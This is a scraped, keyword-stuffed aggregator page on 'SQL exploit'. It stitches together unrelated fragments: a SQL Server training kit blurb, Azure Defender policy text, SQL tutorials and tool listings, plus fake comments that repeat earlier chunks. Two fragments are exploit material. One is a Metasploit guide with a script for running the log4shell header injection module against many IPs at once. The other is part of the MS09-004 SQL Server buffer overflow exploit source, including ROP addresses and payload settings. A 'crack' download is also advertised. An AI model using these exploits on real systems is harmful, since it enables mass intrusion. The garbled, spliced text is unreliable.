Get table sql exploit

Author: s | 2025-04-24

★★★★☆ (4.3 / 2218 reviews)

msi program

Discover Local SQL Server Instances. Get-SQLInstanceLocal. Get Tables from a Specific Database. Find and exploit impersonation opportunities

blade prince academy

miniBB 2.1 (table) Remote SQL Injection Exploit

SQL Server 2008 Developer Training Kit Available SQL Server 2008 offers an impressive array of capabilities for developers that build upon key innovations introduced in SQL Server 2005. The SQL Server 2008 Developer Training Kit will help you understand how to build web applications which deeply exploit the rich data types, programming models and new development paradigms in SQL Server 2008. The training kit is brought to you by Microsoft Developer and Platform Evangelism.Overview and Benefits The training kit offers the following benefits:Learn how to build web applications that exploit the unique features and capabilities of SQL Server 2008.Provides a comprehensive set of presentations, demos and hands-on labsDesigned for web developers who are already familiar with SQL Server application development.Easy to download and install and works on free editions of SQL Server 2008 and Visual Studio 2008.Produced by Southworks SRL, a well-known provider of evangelism content, using both existing and new content custom developed for this training kit.Software Requirements The following software is not included with the training kit and must be downloaded and installed separately. SQL Server 2008 Express with Advanced Services (or higher-level SKU)Microsoft Visual Web Developer 2008 Express (or higher-level SKU)AdventureWorks 2008 Sample DatabasesIntended Audience The training kit is designed for the following technical roles:Web developers who build applications for the Microsoft platform.Microsoft technical specialists and consultants.Contents The training kit includes the following content:Presentations (6)FilestreamSpatialT-SQLDate and Time TypesSQLCLRReporting ServicesDemos (13)AdventureWorks Racing All-Up SQL Server 2008 DemoSQL Server 2008 All-Up Spatial DemoSpatial Types DemoIntro to Filestream DemoSQL CLR Nullable Types DemoProgramming with Filestream DemoReporting Services Web Application Integration DemoDate and Time Support in SQL Server 2008 DemoT-SQL Table-Valued Parameters DemoT-SQL Row Constructors DemoT-SQL Grouping Sets DemoT-SQL Merge DemoTrasact-SQLHands-on Labs (3)Using Spatial Data in TSQLUsing Spatial Data in Managed CodeUsing SQL CLR in SQL Server 2008The training kit is available at the following URL:

tap tap send rate

MiniBB 2.1 - 'table' SQL Injection - exploit database

Will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.Reliability:repeatable-session: The module is expected to get a shell every time it runs.Stability:crash-safe: Module should not crash the service.Side Effects:ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).Basic UsageUsing log4shell_header_injection against a single hostNormally, you can use exploit/multi/http/log4shell_header_injection this way:msf > use exploit/multi/http/log4shell_header_injectionmsf exploit(log4shell_header_injection) > show targets ... a list of targets ...msf exploit(log4shell_header_injection) > set TARGET target-idmsf exploit(log4shell_header_injection) > show options ... show and set options ...msf exploit(log4shell_header_injection) > exploitUsing log4shell_header_injection against multiple hostsBut it looks like this is a remote exploit module, which means you can also engage multiple hosts.First, create a list of IPs you wish to exploit with this module. One IP per line.Second, set up a background payload listener. This payload should be the same as the one yourlog4shell_header_injection will be using:Do: use exploit/multi/handlerDo: set PAYLOAD [payload]Set other options required by the payloadDo: set EXITONSESSION falseDo: run -jAt this point, you should have a payload listening.Next, create the following script. Notice you will probably need to modify the ip_list path, andpayload options accordingly:## Modify the path if necessary#ip_list = '/tmp/ip_list.txt'File.open(ip_list, 'rb').each_line do |ip| print_status("Trying against #{ip}") run_single("use exploit/multi/http/log4shell_header_injection") run_single("set RHOST #{ip}") run_single("set DisablePayloadHandler true") # # Set a payload that's the same as the handler. #

MiniBB 2.1 - table SQL Injection - exploit database

And security intelligence by detecting unusual and potentially harmful attempts to access or exploit key vault accounts.AuditIfNotExists, Disabled1.0.3Azure Defender for Resource Manager should be enabledAzure Defender for Resource Manager automatically monitors the resource management operations in your organization. Azure Defender detects threats and alerts you about suspicious activity. Learn more about the capabilities of Azure Defender for Resource Manager at . Enabling this Azure Defender plan results in charges. Learn about the pricing details per region on Security Center's pricing page: .AuditIfNotExists, Disabled1.0.0Azure Defender for servers should be enabledAzure Defender for servers provides real-time threat protection for server workloads and generates hardening recommendations as well as alerts about suspicious activities.AuditIfNotExists, Disabled1.0.3Azure Defender for SQL servers on machines should be enabledAzure Defender for SQL provides functionality for surfacing and mitigating potential database vulnerabilities, detecting anomalous activities that could indicate threats to SQL databases, and discovering and classifying sensitive data.AuditIfNotExists, Disabled1.0.2Azure Defender for SQL should be enabled for unprotected Azure SQL serversAudit SQL servers without Advanced Data SecurityAuditIfNotExists, Disabled2.0.1Azure Defender for SQL should be enabled for unprotected SQL Managed InstancesAudit each SQL Managed Instance without advanced data security.AuditIfNotExists, Disabled1.0.2Compile Audit records into system wide auditCMA_C1140 - Compile Audit records into system wide auditManual, Disabled1.1.0Guest Configuration extension should be installed on your machinesTo ensure secure configurations of in-guest settings of your machine, install the Guest Configuration extension. In-guest settings that the extension monitors include the configuration of the operating system, application configuration or presence, and environment settings. Once installed, in-guest policies will be available such as 'Windows Exploit guard should be enabled'. Learn more at Disabled1.0.3Microsoft Defender for Containers should be enabledMicrosoft Defender for Containers provides hardening, vulnerability assessment and run-time protections for your Azure, hybrid, and multi-cloud Kubernetes environments.AuditIfNotExists, Disabled1.0.0Microsoft Defender for Storage should be enabledMicrosoft Defender for Storage detects potential threats. Discover Local SQL Server Instances. Get-SQLInstanceLocal. Get Tables from a Specific Database. Find and exploit impersonation opportunities

phpLiteAdmin - 'table' SQL Injection - PHP webapps Exploit

Microsoft SQL Server - sp_replwritetovarbin Memory Corruption (MS09-004) (via SQL Injection) (Metasploit) ### $Id: ms09_004_sp_replwritetovarbin_sqli.rb 11730 2011-02-08 23:31:44Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# 'msf/core'class Metasploit3 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. This exploit smashes several pointers, as shown below. 1. pointer to a 32-bit value that is set to 0 2. pointer to a 32-bit value that is set to a length influcenced by the buffer length. 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query. NOTE: The MSSQL server service does not automatically restart by

phpLiteAdmin - table SQL Injection - PHP webapps Exploit

Default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner. }, 'Author' => [ 'jduck', # MS09-004 base exploit 'Rodrigo Marcos' # SQL Injection mods ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11730 $', 'References' => [ [ 'OSVDB', '50589' ], [ 'CVE', '2008-5416' ], [ 'BID', '32710' ], [ 'MSB', 'MS09-004' ], [ 'URL', ' ], [ 'URL', ' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 512, 'BadChars' => "", # bad bytes get encoded! 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff", 'DisableNops' => true }, 'Platform' => 'win', 'Privileged' => true, 'Targets' => [ # auto targeting! [ 'Automatic', { } ], # # Individual targets # [ # Microsoft SQL Server 2000 - 8.00.194 (Intel X86) # Aug 6 2000 00:57:48 'MSSQL 2000 / MSDE SP0 (8.00.194)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08] 'Disp' => 0x08, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0041c9a2 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.384 (Intel X86) # May 23 2001

exploit - SQL Injection: Drop All Tables - Information

Various database objects such as table, field,... Category: Software DevelopmentPublisher: SQLParser.com, License: Freeware, Price: USD $0.00, File Size: 1.7 MBPlatform: Windows SQL Installer. Sql Installer.NET is a toolset which assists in the development, deployment, and maintenance of applications which interface with a relational database management system (RDBMS). A new and useful software that you can it for free on your computers. It supports a wide range of RDBMS products including : Microsoft Sql Server, Oracle, IBM DB2, PostGreSQL. Category: Business & Finance / Database ManagementPublisher: JHOB Technologies, LLC, License: Freeware, Price: USD $0.00, File Size: 302.5 KBPlatform: Windows Navicat for Oracle offers powerful visual tools such as Query Editor with syntax highlight capability, SQL Preview, SQL Console, TEXT, Hex and BLOB viewer/editor, SSH Tunnel and more, to increase your productivity. Navicat for Oracle offers powerful visual tools such as Query Editor with syntax highlight capability, Sql Preview, Sql Console, TEXT, Hex and BLOB viewer/editor, SSH Tunnel and more, to increase your productivity. Also, it provides a number of tools allowing to perform all the necessary database operations such as creating, editing, and duplicating database objects. It... Category: Business & Finance / Database ManagementPublisher: PremiumSoft CyberTech Ltd., License: Freeware, Price: USD $0.00, File Size: 15.4 MBPlatform: Mac SQL Power Injector is an application created in . Sql Power Injector is an application created in .Net 1.1 that helps the penetration tester to find and exploit Sql injections on a web page. For now it is Sql Server, Oracle, MySQL, Sybase/Adaptive Server and DB2 compliant, but it is possible to use it with any existing DBMS when using the inline injection (Normal mode). Indeed, the normal mode is... Category: Internet / Misc. ServersPublisher: SQLPowerInjector, License: Freeware, Price: USD $0.00, File Size: 5.7 MBPlatform: Windows This is a simple program to connect to an Oracle database. This is a simple program to connect to an Oracle database. You have the ability to execute any Sql statements with the ability to rollback all your transactions. In order to use the program, you need to install and properly configure the Oracle Client ver Category: Business & Finance / Database ManagementPublisher: enderminh.com, License: Freeware, Price: USD $0.00, File Size: 117.0 KBPlatform: Windows, Mac, 2K MyOra is a free SQL Tool for Oracle database developers and DBAs. This tool is simple, fast and easy to use, requires no installation, no Oracle client and no internet connection. Real Time Performance Monitoring using graphs and bar charts. MyOra is a free Sql Tool for Oracle database developers and DBAs. This tool is simple, fast and easy to use, requires no installation, no Oracle client and no internet connection. Just download, unzip and start using with a click of the

Exploit for SQL Injection in Woobewoo Product Table CVE

Stored by the application and used in a later SQL query.Stored Procedure Attacks: This involves calling stored procedures from the SQL injection point.Function Call Payloads: This involves calling database functions from the SQL injection point.Boolean-based SQLi: This involves sending a SQL query that will return a different result depending on whether the condition in the query is true or false.Content-based SQLi: This involves sending a SQL query that will return a different result depending on the content of the HTTP response.ToolsSQLMap: SQLMap is a popular open-source penetration testing tool that automates the process of detecting and exploiting SQL Injection vulnerabilities.Havij: Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities.jSQL Injection: jSQL Injection is a lightweight application used to find database information from a distant server.BBQSQL: BBQSQL is a blind SQL injection framework written in Python.NoSQLMap: NoSQLMap is an open-source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases.SQLNinja: SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.SQLiX: SQLiX is a SQL Injection scanner written in Perl.SQLSentinel: SQLSentinel is an application-level firewall for MySQL that prevents SQL Injection attacks.MyBatis: MyBatis is a Java persistence framework that includes a built-in SQL Injection scanner.Blisqy: Blisqy is a tool to aid Web Security researchers to find Time-based Blind SQL injection on HTTP Headers and also exploitation of the same vulnerability.Malware AnalysisStatic Analysis:Header Examination: Look at the headers of the executable file. Common executable file formats include PE (Portable Executable) for Windows and ELF (Executable and Linkable Format) for Linux. Disassembly: Disassemble the binary code using a disassembler such as IDA Pro, Ghidra, or Radare2. These tools can help you navigate the assembly code and identify the entry point.Dynamic Analysis:Debugger: Use a debugger like OllyDbg, WinDbg, or GDB to run the executable in a controlled environment. Set breakpoints and step through the code until you reach the entry point. Monitoring Tools: Use tools like Process Monitor (ProcMon) on Windows or strace on Linux to monitor system calls and identify when the executable is loaded and starts executing. Strings and Signatures:String Analysis: Look for strings within the executable that may indicate the entry point. Some malware authors leave identifiable strings. Signature-Based Detection: Use antivirus or anti-malware tools that might have signature databases to identify known malware and their entry points. Code Emulation and Analysis:Sandboxing: Execute the executable in a controlled environment, often called a sandbox, and monitor its behavior. Analyze the log or output for indications of the entry point.ToolsCuckoo Sandbox: An open-source automated malware analysis system.FireEye: A platform for detecting, preventing, and resolving. Discover Local SQL Server Instances. Get-SQLInstanceLocal. Get Tables from a Specific Database. Find and exploit impersonation opportunities

jellyfin downloads

exploit - SQL Injection: Drop All Tables - Information Security

Are TEXT or DATE — these data points have to go between apostrophes (') when you write your SQL query!And never forget the semicolon (;) at the end of your SQL statement!If you are more of the visual type, here’s your cheat sheet:Commit your changes!As we have discussed in the previous article, if you do changes in your database with an SQL manager tool (like pgadmin4 or SQL Workbench), you have to COMMIT them. Always! What does it mean? Learn more here.But for now, let’s just run this one extra line in your SQL manager:COMMIT;Note: If you turned auto-commit on or if you are in the command line and not in an SQL query tool, then you can skip this commit step.SQL TRUNCATE: empty your table without deleting the tableYou have already learned about the DROP TABLE SQL statement that deletes your SQL table. But very often you don’t want to delete your table (because you want to keep its structure), only clear that data. You can do this by using the TRUNCATE TABLE statement.Type this:TRUNCATE TABLE test_results;This will delete all the rows that we have inserted in the table before, but it will keep the table itself.Don’t forget that you have to commit your changes!COMMIT;Note: more about emptying an SQL table here: SQL TRUNCATE TABLE and DROP TABLE tutorial.Okay, if everything is set, let’s see the…Method #2: insert a .csv file into an SQL table (COPY)To be honest, this is a more common scenario than the first method I showed. As a data analyst, you quite regularly get raw data sets in file formats, like .xlsx or .csv or .txt. You can insert these data files using the COPY statement.The general format of the statement looks like this:COPY table_name FROM '/path/step/file_name' DELIMITER ' ';Let me break it down for you:COPY is the SQL keyword that specifies that you’ll insert data from a file into an SQL table.table_name is the name of the table that you want to put the data into. (This is a bit counter-intuitive in the syntax… But we know that SQL is not the most “coder-friendly” tool syntax-wise. So just get over it and simply learn this way.)FROM is another SQL keyword after that you’ll……specify the name and the location of the file that you want to COPY the data from. This goes between apostrophes.And eventually, you have to specify the field separator in your original

WordPress JTRT Responsive Tables 4.1 SQL Injection - exploit

(files, etc.).9- Use external libraries for SQL Injection.10- Performs Time-Based Blind SQL Injections.11- Execute queries using some sort of input/output modules (files, etc.).12- Extract information from a database using some sort of input/output modules (files, etc.).13- Create connections in a database using some sort of input/output modules (files, etc.).14- Manage URLs using some sort of input/output modules (files, etc.).15- Use external libraries for SQL Injection.16- Performs Time-Based Blind SQL Injections.Marathon Tool Crack + Download For Windows8e68912320Marathon Tool Crack+ Free [Win/Mac]Marathon Tool is a POC designed to perform a Time-Based Blind SQL Injection attack, using the Microsoft DTS to perform various SQL Injection exploitation techniques.The MSDTS is able to query and manipulate SQL Server, MySQL, Access databases, Oracle and ODBC using different techniques such asError based Blind SQL InjectionSql Injection, password brute force attackInjection by using send commandToken based InjectionCommand InjectionCommand Injection using shell command.Target Base: Windows OS, SQL Server, MySQL, Access and Oracle.Introduction:A Time-Based Blind SQL Injection attack is a technique in which the attacker is looking for SQL Injection vulnerabilities, and tries to exploit them at a later time, knowing that they will take place during a given time period.This technique is very interesting in attack, because it allows you to monitor these vulnerabilities during a set time period, because most of the times the systems will be running a web application which could use a database to store data.If the attacker can get the administrator to open the database in one of the times where there is an. Discover Local SQL Server Instances. Get-SQLInstanceLocal. Get Tables from a Specific Database. Find and exploit impersonation opportunities

sql - trying to join and exploit 5 table in one - Stack Overflow

Connecting to SQL Server with Remote Access Disabled using RazorSQL via ASP Many times, web hosting providers include SQL Server as part of their hosting packages, but do not allow users to connect to the SQL Server database from a remote location. This forces users to use a web based application to access their SQL Server database instance, or resort to complex solutions such as SSH tunneling. Also, in some cases, ISPs may block port 1433, the default port used by SQL Server, because of a virus that used that port in an exploit. The RazorSQL SQL Server ASP Bridge allows users to connect to a SQL Server database with the simple deployment of a ASP page, and allows them to get the added functionality of a desktop application like RazorSQL as opposed to the limited functionality of web-based database access. And since the bridge operates over standard HTTP or HTTPS ports, there are no firewall or ISP blocking issues to worry about. The RazorSQL SQL Server ASP Bridge provides the ability for users to interact with a SQL Server database without making a direct connection to the database. Instead, the user connects to the RazorSQL SQL Server ASP Bridge, which then connects to the database. The RazorSQL SQL Server ASP Bridge is a ASP program that can be deployed on any web server that supports ASP and has the necessary ADO libraries installed. Since the ASP page resides on the hosting provider's web server, even if remote access is disabled on the SQL Server database, the ASP page will still be able to connect. As an added bonus, if your web server supports SSL, the RazorSQL SQL Server ASP Bridge can be used to securely transmit your data from your desktop to your SQL Server database instance. Requirements The

Comments

User3046

SQL Server 2008 Developer Training Kit Available SQL Server 2008 offers an impressive array of capabilities for developers that build upon key innovations introduced in SQL Server 2005. The SQL Server 2008 Developer Training Kit will help you understand how to build web applications which deeply exploit the rich data types, programming models and new development paradigms in SQL Server 2008. The training kit is brought to you by Microsoft Developer and Platform Evangelism.Overview and Benefits The training kit offers the following benefits:Learn how to build web applications that exploit the unique features and capabilities of SQL Server 2008.Provides a comprehensive set of presentations, demos and hands-on labsDesigned for web developers who are already familiar with SQL Server application development.Easy to download and install and works on free editions of SQL Server 2008 and Visual Studio 2008.Produced by Southworks SRL, a well-known provider of evangelism content, using both existing and new content custom developed for this training kit.Software Requirements The following software is not included with the training kit and must be downloaded and installed separately. SQL Server 2008 Express with Advanced Services (or higher-level SKU)Microsoft Visual Web Developer 2008 Express (or higher-level SKU)AdventureWorks 2008 Sample DatabasesIntended Audience The training kit is designed for the following technical roles:Web developers who build applications for the Microsoft platform.Microsoft technical specialists and consultants.Contents The training kit includes the following content:Presentations (6)FilestreamSpatialT-SQLDate and Time TypesSQLCLRReporting ServicesDemos (13)AdventureWorks Racing All-Up SQL Server 2008 DemoSQL Server 2008 All-Up Spatial DemoSpatial Types DemoIntro to Filestream DemoSQL CLR Nullable Types DemoProgramming with Filestream DemoReporting Services Web Application Integration DemoDate and Time Support in SQL Server 2008 DemoT-SQL Table-Valued Parameters DemoT-SQL Row Constructors DemoT-SQL Grouping Sets DemoT-SQL Merge DemoTrasact-SQLHands-on Labs (3)Using Spatial Data in TSQLUsing Spatial Data in Managed CodeUsing SQL CLR in SQL Server 2008The training kit is available at the following URL:

2025-04-13
User6901

Will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.Reliability:repeatable-session: The module is expected to get a shell every time it runs.Stability:crash-safe: Module should not crash the service.Side Effects:ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).Basic UsageUsing log4shell_header_injection against a single hostNormally, you can use exploit/multi/http/log4shell_header_injection this way:msf > use exploit/multi/http/log4shell_header_injectionmsf exploit(log4shell_header_injection) > show targets ... a list of targets ...msf exploit(log4shell_header_injection) > set TARGET target-idmsf exploit(log4shell_header_injection) > show options ... show and set options ...msf exploit(log4shell_header_injection) > exploitUsing log4shell_header_injection against multiple hostsBut it looks like this is a remote exploit module, which means you can also engage multiple hosts.First, create a list of IPs you wish to exploit with this module. One IP per line.Second, set up a background payload listener. This payload should be the same as the one yourlog4shell_header_injection will be using:Do: use exploit/multi/handlerDo: set PAYLOAD [payload]Set other options required by the payloadDo: set EXITONSESSION falseDo: run -jAt this point, you should have a payload listening.Next, create the following script. Notice you will probably need to modify the ip_list path, andpayload options accordingly:## Modify the path if necessary#ip_list = '/tmp/ip_list.txt'File.open(ip_list, 'rb').each_line do |ip| print_status("Trying against #{ip}") run_single("use exploit/multi/http/log4shell_header_injection") run_single("set RHOST #{ip}") run_single("set DisablePayloadHandler true") # # Set a payload that's the same as the handler. #

2025-03-26
User1507

Microsoft SQL Server - sp_replwritetovarbin Memory Corruption (MS09-004) (via SQL Injection) (Metasploit) ### $Id: ms09_004_sp_replwritetovarbin_sqli.rb 11730 2011-02-08 23:31:44Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# 'msf/core'class Metasploit3 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. This exploit smashes several pointers, as shown below. 1. pointer to a 32-bit value that is set to 0 2. pointer to a 32-bit value that is set to a length influcenced by the buffer length. 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query. NOTE: The MSSQL server service does not automatically restart by

2025-04-10
User4475

Default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner. }, 'Author' => [ 'jduck', # MS09-004 base exploit 'Rodrigo Marcos' # SQL Injection mods ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11730 $', 'References' => [ [ 'OSVDB', '50589' ], [ 'CVE', '2008-5416' ], [ 'BID', '32710' ], [ 'MSB', 'MS09-004' ], [ 'URL', ' ], [ 'URL', ' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 512, 'BadChars' => "", # bad bytes get encoded! 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff", 'DisableNops' => true }, 'Platform' => 'win', 'Privileged' => true, 'Targets' => [ # auto targeting! [ 'Automatic', { } ], # # Individual targets # [ # Microsoft SQL Server 2000 - 8.00.194 (Intel X86) # Aug 6 2000 00:57:48 'MSSQL 2000 / MSDE SP0 (8.00.194)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08] 'Disp' => 0x08, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0041c9a2 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.384 (Intel X86) # May 23 2001

2025-04-18

Add Comment